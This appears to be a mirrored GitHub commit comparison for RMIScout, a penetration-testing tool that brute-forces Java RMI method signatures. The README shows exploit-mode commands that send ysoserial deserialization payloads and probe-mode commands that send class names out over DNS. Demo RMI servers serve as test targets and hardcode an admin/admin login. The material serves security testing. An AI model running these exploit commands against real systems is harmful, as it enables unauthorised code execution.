mirror of
https://github.com/BishopFox/rmiscout.git
synced 2026-11-08 17:09:37 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f4cca0853e | ||
|
|
654054c272 | ||
|
|
f70e398e34 | ||
|
|
647e774be3 | ||
|
|
edc2bb577d | ||
|
|
c4d548fb28 | ||
|
|
d24599ec03 | ||
|
|
8a576bb42a | ||
|
|
3244734f63 | ||
|
|
26d9cd5bea | ||
|
|
cdcf928817 | ||
|
|
96517c45de | ||
|
|
4e8d985bf9 |
No files matched your search
@@ -2,3 +2,4 @@
|
||||
/.gradle/
|
||||
/.idea/
|
||||
*.class
|
||||
*.sw*
|
||||
@@ -0,0 +1,6 @@
|
||||
FROM openjdk:8
|
||||
COPY . /rmiscout
|
||||
WORKDIR /rmiscout
|
||||
RUN ./gradlew shadowJar
|
||||
ENTRYPOINT ["./rmiscout.sh"]
|
||||
CMD ["-h"]
|
||||
@@ -7,29 +7,31 @@
|
||||
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
### Description
|
||||
|
||||
RMIScout performs wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation.
|
||||
RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation.
|
||||
|
||||
On misconfigured servers, any known RMI signature using non-primitive types (e.g., `java.lang.String`), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in [An Trinh's 2019 Blackhat EU talk](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).
|
||||
### Feature overview
|
||||
|
||||
RMIScout integrates with [ysoserial](https://github.com/frohoff/ysoserial/) and [GadgetProbe](https://github.com/bishopfox/gadgetprobe) to perform deserialization attacks against services incorrectly configuring process-wide serialization filters ([JEP 290](https://openjdk.java.net/jeps/290)).
|
||||
* Supports multiple types of Java RMI servers:
|
||||
* RMI-JRMP (AKA plain RMI; usually port 1099): Remote object registry service (rmiregistry)
|
||||
* [RMI Activation Stubs via rmid](https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/activation/overview.html)
|
||||
* [RMI-IIOP: Java CORBA programming model (orbd; usually port 1050)](https://en.wikipedia.org/wiki/RMI-IIOP)
|
||||
* IIOP requires JRE 1.8 to use. Due to deprecation in later runtimes.
|
||||
* RMI-SSL
|
||||
* Multiple modes of operation
|
||||
* **wordlist mode:** Test for remote methods using a wordlist of signatures (see included lists/prototypes.txt)
|
||||
* **bruteforce mode:** Given a wordlist of method names generate signatures with various parameter types, # of params, and return types.
|
||||
* **exploit mode:** Use ysoserial to exploit remote methods with non-primitive parameters.
|
||||
* Requires rmiscout to be run with JRE 1.8 for ysoserial to work properly.
|
||||
* **probe mode:** Use [GadgetProbe](https://github.com/bishopfox/gadgetprobe) to identify classes in the remote classpath
|
||||
* **invoke mode:** Directly invoke remote methods by specifying a method signature and parameter values from the command line (primitives, arrays, and Strings only).
|
||||
* **list mode:** List available registries on remote server.
|
||||
* Automatically switches between RMI, RMI-SSL, Activation stubs.
|
||||
* Automatically performs localhost bypass techniques (e.g., registries bound to @127.0.0.1:XXXX, but still externally exposed via XXXX)
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/wordlist_attack.png" width=800/>
|
||||
</p>
|
||||
|
||||
### Motivation
|
||||
|
||||
I wanted a tool to do the following tasks:
|
||||
1. Provide wordlist and text-based bruteforce strategies instead of bruteforcing a 64-bit method hash.
|
||||
2. Identify RMI methods without invoking them.
|
||||
3. Provide a simple way to exploit the known issue of unsafe RMI parameter unmarshalling and integrate with ysoserial or payloads implementing `ysoserial.payloads.ObjectPayload`.
|
||||
4. Integrate GadgetProbe to identify remote classes to help identify relevant software and construct gadget chains.
|
||||
|
||||
To start off your search, the included `lists/prototypes.txt` wordlist is a deduplicated wordlist from 15,000 RMI prototypes found in OSS projects across GitHub. Feel free to submit a PR to include more :)
|
||||
|
||||
### How it works
|
||||
|
||||
@@ -45,24 +47,77 @@ login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
|
||||
```
|
||||
If the class is present this will result in a remote `java.rmi.UnmarshalException` cased by the `ClassNotFoundException` or argument unmarshalling error without invoking the underlying method.
|
||||
|
||||
Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscout).
|
||||
For more detailed technical writeups:
|
||||
* [(Original Writeup) RMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code Execution](https://know.bishopfox.com/research/rmiscout).
|
||||
* [(RMIScout Update) Lessons Learned on Brute Forcing RMI-IIOP with RMIScout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)
|
||||
|
||||
### Usage
|
||||
|
||||
### Modes of operation
|
||||
|
||||
|
||||
#### Wordlist mode
|
||||
```
|
||||
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
|
||||
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
|
||||
```
|
||||
Supply a wordlist of method prototypes to check for on the remote server. RMIScout will output all identified matches.
|
||||
|
||||
# Bruteforce using method wordlist and other options
|
||||
*For RMI-IIOP/CORBA*: Unless methods are overloaded, brute forcing and invocation only require names to match (all other information is ignored).
|
||||
<p align="center">
|
||||
<img src="assets/rmiscout_wordlist.gif" width=800/>
|
||||
</p>
|
||||
|
||||
#### Bruteforce mode
|
||||
```
|
||||
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
|
||||
```
|
||||
|
||||
# Swap object-derived types with the specified ysoserial payload and payload parameter
|
||||
Supply a wordlist of candidate method names, then provide a comma-delimited list of candidate return types, number range of parameters, and candidate parameter types. Bruteforce mode will generate the permutations and look for matching signatures.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/rmiscout_bruteforce.gif" width=800/>
|
||||
</p>
|
||||
|
||||
#### Exploit mode
|
||||
```
|
||||
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
|
||||
```
|
||||
On misconfigured servers, any known RMI signature using non-primitive types (e.g., `java.util.List`), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in [An Trinh's 2019 Blackhat EU talk](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).
|
||||
|
||||
# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
|
||||
RMIScout integrates with [ysoserial](https://github.com/frohoff/ysoserial/) to perform deserialization attacks against services incorrectly configuring process-wide serialization filters ([JEP 290](https://openjdk.java.net/jeps/290)).
|
||||
|
||||
Examples of exploitable signatures:
|
||||
```
|
||||
void exampleMethod(java.util.Map a) // Any non-primitive types
|
||||
void exampleMethod(float[] a) // Any type of array, even primitives
|
||||
void exampleMethod(String a) // Works on older JDKs, see below...
|
||||
```
|
||||
*Note:* Signatures containing `java.lang.String` types are only exploitable in JRE 8/11/13/14 releases prior to early 2020 in RMI-JRMP, but are still currently exploitable in RMI-IIOP.
|
||||
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/rmiscout_exploit.gif" width=800/>
|
||||
</p>
|
||||
|
||||
#### Invoke mode
|
||||
```
|
||||
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
|
||||
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
|
||||
```
|
||||
RMIScout let's you invoke any signatures with primitives, primitive arrays, or Strings. More advanced types will require writing a custom client.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/rmiscout_invoke.gif" width=800/>
|
||||
</p>
|
||||
|
||||
#### Probe mode
|
||||
```
|
||||
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
|
||||
```
|
||||
RMIScout integrates with [GadgetProbe](https://github.com/bishopfox/gadgetprobe) to identify classes in the remote classpath. Class names are exfiltrated via DNS.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/rmiscout_probe.gif" width=800/>
|
||||
</p>
|
||||
|
||||
### Building and Running
|
||||
|
||||
@@ -77,16 +132,65 @@ Alternatively, build the project manually and use traditional `java -jar` syntax
|
||||
# Manually build JAR
|
||||
./gradlew shadowJar
|
||||
|
||||
java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
|
||||
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
|
||||
```
|
||||
|
||||
**Note:** RMI-IIOP (compile/runtime) and ysoserial (runtime) depend on JDK8.
|
||||
|
||||
### Try It out
|
||||
Run the demo RMI server. Try out the included `demo/wordlist.txt`.
|
||||
Run the dockerized demo RMI server. Try out the included `demo/wordlist.txt`.
|
||||
```bash
|
||||
cd demo
|
||||
./start.sh
|
||||
./start_demo.sh
|
||||
```
|
||||
|
||||
### Troubleshooting
|
||||
|
||||
Q: How can I tell if `<host>:<port>` an RMI Registry?
|
||||
|
||||
Use `./rmiscout list <host> <port>` to get information about registries on a remote server.
|
||||
```./rmiscout.sh list 127.0.0.1 1099
|
||||
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
|
||||
```
|
||||
Or, use nmap's `rmi-dumpregistry` script:
|
||||
|
||||
```
|
||||
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
|
||||
|
||||
PORT STATE SERVICE
|
||||
1099/tcp open rmiregistry
|
||||
| rmi-dumpregistry:
|
||||
| ActivationServer
|
||||
| com.bishopfox.example.ActivationImpl_Stub
|
||||
| \x00\x0EActivatableRef
|
||||
| extends
|
||||
| java.rmi.server.RemoteStub
|
||||
| extends
|
||||
| java.rmi.server.RemoteObject
|
||||
| plaintest
|
||||
| implements com.bishopfox.example.HelloInterface,
|
||||
| extends
|
||||
| java.lang.reflect.Proxy
|
||||
| fields
|
||||
| Ljava/lang/reflect/InvocationHandler; h
|
||||
| java.rmi.server.RemoteObjectInvocationHandler
|
||||
| @127.0.0.1:1111
|
||||
| extends
|
||||
|_ java.rmi.server.RemoteObject
|
||||
```
|
||||
|
||||
Q: I found a registry on port 1098 with the name `java.rmi.activation.ActivationSystem`. What can I do with it?
|
||||
|
||||
This is an rmid Activation System Daemon. All of its methods are restricted by the SecurityManager. More recent JREs check if the remote peer originates from localhost before deserializing any remote data. Older (pre 2011) versions did not have this check and may be vulnerable. See [https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb)
|
||||
|
||||
Q: Can I run RMIScout with a newer runtime than JRE 8?
|
||||
|
||||
A: Technically yes, but a variety of features will stop working. CORBA support, probe support, and ysoserial (exploit mode) mandate a JRE 8 dependency.
|
||||
|
||||
Q: Why am I getting a `CannotCompileException`?
|
||||
|
||||
A: A `CannotCompileException` occurs when an invalid method name or prototype is supplied directly or via a wordlist. RMIScout generates bytecode for user-supplied candidate signatures at runtime. Although RMIScout has basic rules for correcting common syntax errors in user-supplied prototypes, it will sometimes fail.
|
||||
|
||||
### Author
|
||||
|
||||
Twitter: [@BumbleSec](https://twitter.com/theBumbleSec)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 389 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 311 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.2 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 917 KiB |
+9
-2
@@ -4,9 +4,15 @@ plugins {
|
||||
id 'com.github.johnrengelman.shadow' version '2.0.4'
|
||||
}
|
||||
|
||||
group 'com.bishopfox.rmiscout'
|
||||
version '1.01-SNAPSHOT'
|
||||
sourceCompatibility = 1.8
|
||||
targetCompatibility = 1.8
|
||||
|
||||
if(JavaVersion.current() != JavaVersion.VERSION_1_8){
|
||||
throw new GradleException("The java version used ${JavaVersion.current()} is not the expected version ${project.targetCompatibility}.")
|
||||
}
|
||||
|
||||
group 'com.bishopfox.rmiscout'
|
||||
version '1.4-SNAPSHOT'
|
||||
mainClassName = 'com.bishopfox.rmiscout.RMIScout'
|
||||
|
||||
tasks.withType(JavaCompile) {
|
||||
@@ -17,6 +23,7 @@ repositories {
|
||||
mavenCentral()
|
||||
maven { url "https://jitpack.io" }
|
||||
maven { url "https://repo.spring.io/plugins-release/" }
|
||||
maven { url "https://repo.jenkins-ci.org/public/" }
|
||||
}
|
||||
|
||||
dependencies {
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
FROM openjdk:8
|
||||
COPY . /demo/
|
||||
WORKDIR /demo/
|
||||
RUN chmod +x run.sh
|
||||
|
||||
# Build Code and RMI Stubs
|
||||
RUN javac com/bishopfox/example/*.java
|
||||
RUN rmic -d . com.bishopfox.example.ActivationImpl && \
|
||||
rmic -d . -iiop com.bishopfox.example.CorbaImpl && \
|
||||
rmic -d . com.bishopfox.example.SSLServer
|
||||
|
||||
ENTRYPOINT ["./run.sh"]
|
||||
@@ -1,25 +0,0 @@
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.RemoteException;
|
||||
import java.util.*;
|
||||
|
||||
public interface Hello extends Remote {
|
||||
String restart() throws RemoteException;
|
||||
String sayHello(String name) throws RemoteException;
|
||||
String sayNumber(int name) throws RemoteException;
|
||||
boolean login(String email, String password) throws RemoteException;
|
||||
|
||||
String sayTest1(int name) throws RemoteException;
|
||||
String sayTest2(byte name) throws RemoteException;
|
||||
String sayTest3(short name) throws RemoteException;
|
||||
String sayTest4(long name) throws RemoteException;
|
||||
String sayTest5(char name) throws RemoteException;
|
||||
String sayTest6(boolean name) throws RemoteException;
|
||||
String sayTest7(float name) throws RemoteException;
|
||||
String sayTest8(double name) throws RemoteException;
|
||||
String sayTest9(Map name) throws RemoteException;
|
||||
String sayTest10(HashMap name) throws RemoteException;
|
||||
String sayTest11(List name) throws RemoteException;
|
||||
String sayTest12(Object name) throws RemoteException;
|
||||
|
||||
ArrayList<String> say2things(String name, int test) throws RemoteException;
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
import java.util.*;
|
||||
|
||||
public class Server implements Hello {
|
||||
|
||||
public Server() {}
|
||||
|
||||
public String sayHello() { return "Remote Executed!"; }
|
||||
public String restart() { return "Remote Executed!"; }
|
||||
public boolean login(String email, String password) { return true; }
|
||||
public String sayHello(String name) { return "Remote Executed!"; }
|
||||
public String sayNumber(int name) { return "Remote Executed!"; }
|
||||
public String sayTest1(int name) { return "Remote Executed!"; }
|
||||
public String sayTest2(byte name) { return "Remote Executed!"; }
|
||||
public String sayTest3(short name) { return "Remote Executed!"; }
|
||||
public String sayTest4(long name) { return "Remote Executed!"; }
|
||||
public String sayTest5(char name) { return "Remote Executed!"; }
|
||||
public String sayTest6(boolean name) { return "Remote Executed!"; }
|
||||
public String sayTest7(float name) { return "Remote Executed!"; }
|
||||
public String sayTest8(double name) { return "Remote Executed!"; }
|
||||
public String sayTest9(Map name) { return "Remote Executed!"; }
|
||||
public String sayTest10(HashMap name) { return "Remote Executed!"; }
|
||||
public String sayTest11(List name) { return "Remote Executed!"; }
|
||||
public String sayTest12(Object name) { return "Remote Executed!"; }
|
||||
public ArrayList<String> say2things(String name, int test) { return new ArrayList<String>(); }
|
||||
|
||||
public static void main(String args[]) {
|
||||
|
||||
try {
|
||||
Server obj = new Server();
|
||||
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry();
|
||||
registry.bind("Hello", stub);
|
||||
|
||||
System.err.println("Server ready");
|
||||
} catch (Exception e) {
|
||||
System.err.println("Server exception: " + e.toString());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.*;
|
||||
import java.rmi.activation.*;
|
||||
import java.util.*;
|
||||
|
||||
public class ActivationImpl implements HelloInterface {
|
||||
|
||||
private String result = null;
|
||||
|
||||
// The constructor for activation and export; this constructor is
|
||||
// called by the method ActivationInstantiator.newInstance during
|
||||
// activation, to construct the object.
|
||||
//
|
||||
public ActivationImpl(ActivationID id, MarshalledObject data) throws RemoteException {
|
||||
// Register the object with the activation system then export it on an anonymous port
|
||||
Activatable.exportObject(this, id, 0);
|
||||
}
|
||||
|
||||
/** START TESTS **/
|
||||
// void function
|
||||
public String restart() { return "Hello from the server!"; }
|
||||
|
||||
// invoke tests
|
||||
public boolean login(String email, String password) {
|
||||
if (email.equals("[email protected]") && password.equals("admin")) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
public int addList(int[] a) {
|
||||
int acc = 0;
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
acc += a[i];
|
||||
}
|
||||
return acc;
|
||||
}
|
||||
|
||||
// Single param type tests
|
||||
public String sayTest1(int name) { return "Hello from the server!"; }
|
||||
public String sayTest2(byte name) { return "Hello from the server!"; }
|
||||
public String sayTest3(short name) { return "Hello from the server!"; }
|
||||
public String sayTest4(long name) { return "Hello from the server!"; }
|
||||
public String sayTest5(char name) { return "Hello from the server!"; }
|
||||
public String sayTest6(boolean name) { return "Hello from the server!"; }
|
||||
public String sayTest7(float name) { return "Hello from the server!"; }
|
||||
public String sayTest8(double name) { return "Hello from the server!"; }
|
||||
public String sayTest9(Map name) { return "Hello from the server!"; }
|
||||
public String sayTest10(HashMap name) { return "Hello from the server!"; }
|
||||
public String sayTest11(List name) { return "Hello from the server!"; }
|
||||
public String sayTest12(Object name) { return "Hello from the server!"; }
|
||||
public String sayTest13(Class name) { return "Hello from the server!"; }
|
||||
public String sayTest14(int[] name) { return "Hello from the server!"; }
|
||||
public String sayTest15(Object[] name) { return "Hello from the server!"; }
|
||||
public String sayTest16(HashMap[] name) { return "Hello from the server!"; }
|
||||
|
||||
// Overload tests
|
||||
public String sayHello(int name) {
|
||||
return "Hello #" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name) {
|
||||
return "Hello" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name, String from) {
|
||||
return "Hello" + name + " from " + from;
|
||||
}
|
||||
|
||||
// Multi-param tests + overloading
|
||||
public String sayTest17(int a, float b) { return "Hello from the server!"; }
|
||||
public String sayTest17(int a) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a) { return "Hello from the server!"; }
|
||||
public String sayTest19(int a) { return "Hello from the server!"; }
|
||||
public String sayTest19(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest19(List[] a, int b) { return "Hello from the server!"; }
|
||||
|
||||
//Different return types
|
||||
public Object sayTest20(String a) { return "Hello from the server!"; }
|
||||
public Object[] sayTest21(String a) { return new Object[]{new String("Hello from the server!")}; }
|
||||
public int[] sayTest22(String a) { return new int[]{1,2,3}; }
|
||||
public Class[][] sayTest23(String a) { return new Class[][]{new Class[]{String.class, Object.class}}; }
|
||||
public void sayTest24(String a) {}
|
||||
/** END TESTS **/
|
||||
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.*;
|
||||
import java.rmi.activation.*;
|
||||
import java.util.Properties;
|
||||
|
||||
public class ActivationServer {
|
||||
|
||||
// This class registers information about the MyClass
|
||||
// class with rmid and the rmiregistry
|
||||
//
|
||||
public static void main(String[] args) throws Exception {
|
||||
System.setSecurityManager(new RMISecurityManager());
|
||||
|
||||
// Because of the 1.2 security model, a security policy should
|
||||
// be specified for the ActivationGroup VM. The first argument
|
||||
// to the Properties put method, inherited from Hashtable, is
|
||||
// the key and the second is the value
|
||||
//
|
||||
Properties props = new Properties();
|
||||
props.put("java.security.policy", "/demo/resources/policy");
|
||||
ActivationGroupDesc.CommandEnvironment ace = null;
|
||||
ActivationGroupDesc exampleGroup = new ActivationGroupDesc(props, ace);
|
||||
|
||||
// Once the ActivationGroupDesc has been created, register it
|
||||
// with the activation system to obtain its ID
|
||||
//
|
||||
ActivationGroupID agi = ActivationGroup.getSystem().registerGroup(exampleGroup);
|
||||
|
||||
// Now explicitly create the group
|
||||
//
|
||||
ActivationGroup.createGroup(agi, exampleGroup, 0);
|
||||
|
||||
// Don't forget the trailing slash at the end of the URL
|
||||
// or your classes won't be found
|
||||
//
|
||||
String location = "file:/demo/com/bishopfox/example/";
|
||||
|
||||
// Create the rest of the parameters that will be passed to
|
||||
// the ActivationDesc constructor
|
||||
//
|
||||
MarshalledObject data = null;
|
||||
|
||||
// The second argument to the ActivationDesc constructor will be used
|
||||
// to uniquely identify this class; it's location is relative to the
|
||||
// URL-formatted String, location.
|
||||
//
|
||||
ActivationDesc desc = new ActivationDesc("com.bishopfox.example.ActivationImpl", location, data);
|
||||
|
||||
HelloInterface ari = (HelloInterface)Activatable.register(desc);
|
||||
System.out.println("Got the stub for HelloInterface");
|
||||
|
||||
// Bind the stub to a name in the registry running on 1099
|
||||
//
|
||||
Naming.rebind("ActivationServer", ari);
|
||||
System.out.println("ActivationServer ready on port 1099...");
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import javax.rmi.PortableRemoteObject;
|
||||
import java.util.*;
|
||||
|
||||
public class CorbaImpl extends PortableRemoteObject implements HelloInterface {
|
||||
public CorbaImpl() throws java.rmi.RemoteException {
|
||||
super(); // invoke rmi linking and remote object initialization
|
||||
}
|
||||
|
||||
/** START TESTS **/
|
||||
// void function
|
||||
public String restart() { return "Hello from the server!"; }
|
||||
|
||||
// invoke tests
|
||||
public boolean login(String email, String password) {
|
||||
if (email.equals("[email protected]") && password.equals("admin")) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
public int addList(int[] a) {
|
||||
int acc = 0;
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
acc += a[i];
|
||||
}
|
||||
return acc;
|
||||
}
|
||||
|
||||
// Single param type tests
|
||||
public String sayTest1(int name) { return "Hello from the server!"; }
|
||||
public String sayTest2(byte name) { return "Hello from the server!"; }
|
||||
public String sayTest3(short name) { return "Hello from the server!"; }
|
||||
public String sayTest4(long name) { return "Hello from the server!"; }
|
||||
public String sayTest5(char name) { return "Hello from the server!"; }
|
||||
public String sayTest6(boolean name) { return "Hello from the server!"; }
|
||||
public String sayTest7(float name) { return "Hello from the server!"; }
|
||||
public String sayTest8(double name) { return "Hello from the server!"; }
|
||||
public String sayTest9(Map name) { return "Hello from the server!"; }
|
||||
public String sayTest10(HashMap name) { return "Hello from the server!"; }
|
||||
public String sayTest11(List name) { return "Hello from the server!"; }
|
||||
public String sayTest12(Object name) { return "Hello from the server!"; }
|
||||
public String sayTest13(Class name) { return "Hello from the server!"; }
|
||||
public String sayTest14(int[] name) { return "Hello from the server!"; }
|
||||
public String sayTest15(Object[] name) { return "Hello from the server!"; }
|
||||
public String sayTest16(HashMap[] name) { return "Hello from the server!"; }
|
||||
|
||||
// Overload tests
|
||||
public String sayHello(int name) {
|
||||
return "Hello #" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name) {
|
||||
return "Hello" + name;
|
||||
}
|
||||
|
||||
public String sayHello(String name, String from) {
|
||||
return "Hello" + name + " from " + from;
|
||||
}
|
||||
|
||||
// Multi-param tests + overloading
|
||||
public String sayTest17(int a, float b) { return "Hello from the server!"; }
|
||||
public String sayTest17(int a) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest18(List a) { return "Hello from the server!"; }
|
||||
public String sayTest19(int a) { return "Hello from the server!"; }
|
||||
public String sayTest19(List a, List b) { return "Hello from the server!"; }
|
||||
public String sayTest19(List[] a, int b) { return "Hello from the server!"; }
|
||||
|
||||
//Different return types
|
||||
public Object sayTest20(String a) { return "Hello from the server!"; }
|
||||
public Object[] sayTest21(String a) { return new Object[]{new String("Hello from the server!")}; }
|
||||
public int[] sayTest22(String a) { return new int[]{1,2,3}; }
|
||||
public Class[][] sayTest23(String a) { return new Class[][]{new Class[]{String.class, Object.class}}; }
|
||||
public void sayTest24(String a) {}
|
||||
/** END TESTS **/
|
||||
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import javax.naming.InitialContext;
|
||||
import javax.naming.Context;
|
||||
|
||||
|
||||
public class CorbaServer {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
// Step 1: Instantiate the Hello servant
|
||||
CorbaImpl helloRef = new CorbaImpl();
|
||||
|
||||
// Step 2: Publish the reference in the Naming Service
|
||||
// using JNDI API
|
||||
Context initialNamingContext = new InitialContext();
|
||||
initialNamingContext.rebind("HelloService", helloRef );
|
||||
|
||||
System.out.println("RMI-IIOP Server ready on port 1050...");
|
||||
|
||||
} catch (Exception e) {
|
||||
System.out.println("RMI-IIOP Server exception: " + e);
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.RemoteException;
|
||||
import java.util.*;
|
||||
|
||||
public interface HelloInterface extends Remote {
|
||||
/** START TESTS **/
|
||||
// void function
|
||||
public String restart() throws RemoteException;
|
||||
|
||||
// invoke tests
|
||||
public boolean login(String email, String password) throws RemoteException;
|
||||
public int add(int a, int b) throws RemoteException;
|
||||
public int addList(int[] a) throws RemoteException;
|
||||
|
||||
// Single param type tests
|
||||
public String sayTest1(int name) throws RemoteException;
|
||||
public String sayTest2(byte name) throws RemoteException;
|
||||
public String sayTest3(short name) throws RemoteException;
|
||||
public String sayTest4(long name) throws RemoteException;
|
||||
public String sayTest5(char name) throws RemoteException;
|
||||
public String sayTest6(boolean name) throws RemoteException;
|
||||
public String sayTest7(float name) throws RemoteException;
|
||||
public String sayTest8(double name) throws RemoteException;
|
||||
public String sayTest9(Map name) throws RemoteException;
|
||||
public String sayTest10(HashMap name) throws RemoteException;
|
||||
public String sayTest11(List name) throws RemoteException;
|
||||
public String sayTest12(Object name) throws RemoteException;
|
||||
public String sayTest13(Class name) throws RemoteException;
|
||||
public String sayTest14(int[] name) throws RemoteException;
|
||||
public String sayTest15(Object[] name) throws RemoteException;
|
||||
public String sayTest16(HashMap[] name) throws RemoteException;
|
||||
|
||||
// Overload tests
|
||||
public String sayHello(int name) throws RemoteException;
|
||||
public String sayHello(String name) throws RemoteException;
|
||||
public String sayHello(String name, String from) throws RemoteException;
|
||||
|
||||
// Multi-param tests + overloading
|
||||
public String sayTest17(int a, float b) throws RemoteException;
|
||||
public String sayTest17(int a) throws RemoteException;
|
||||
public String sayTest18(List a, List b) throws RemoteException;
|
||||
public String sayTest18(List a) throws RemoteException;
|
||||
public String sayTest19(int a) throws RemoteException;
|
||||
public String sayTest19(List a, List b) throws RemoteException;
|
||||
public String sayTest19(List[] a, int b) throws RemoteException;
|
||||
|
||||
//Different return types
|
||||
public Object sayTest20(String a) throws RemoteException;
|
||||
public Object[] sayTest21(String a) throws RemoteException;
|
||||
public int[] sayTest22(String a) throws RemoteException;
|
||||
public Class[][] sayTest23(String a) throws RemoteException;
|
||||
public void sayTest24(String a) throws RemoteException;
|
||||
/** END TESTS **/
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.bishopfox.example;
|
||||
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.RemoteException;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
import java.util.*;
|
||||
|
||||
public class PlainServer implements HelloInterface {
|
||||
|
||||
public PlainServer() {}
|
||||
|
||||
/** START TESTS **/
|
||||
// void function
|
||||
public String restart() { return "Hello from the server!"; }
|
||||
|
||||
// invoke tests
|
||||
public boolean login(String email, String password) {
|
||||
if (email.equals("[email protected]") && password.equals("admin")) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public int add(int a, int b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
public int addList(int[] a) {
|
||||
int acc = 0;
|
||||
for (int i = 0; i < a.length; i++) {
|
||||
acc += a[i];
|
||||
}
|
||||
return acc;
|
||||
}
|
||||
|
||||
// Single param type tests
|
||||
public String sayTest1(int name) { return "Hello from the server!"; }
|
||||
public String sayTest2(byte name) { return "Hello from the server!"; }
|
||||
public String sayTest3(short name) { return "Hello from the server!"; }
|
||||
public String sayTest4(long name) { return "Hello from the server!"; }
|
||||
public String sayTest5(char name) { return "Hello from the server!"; }
|
||||
public String sayTest6(boolean name) { return "Hello from the server!"; }
|
||||
public String sayTest7(float name) { return "Hello from the server!"; }
|
||||
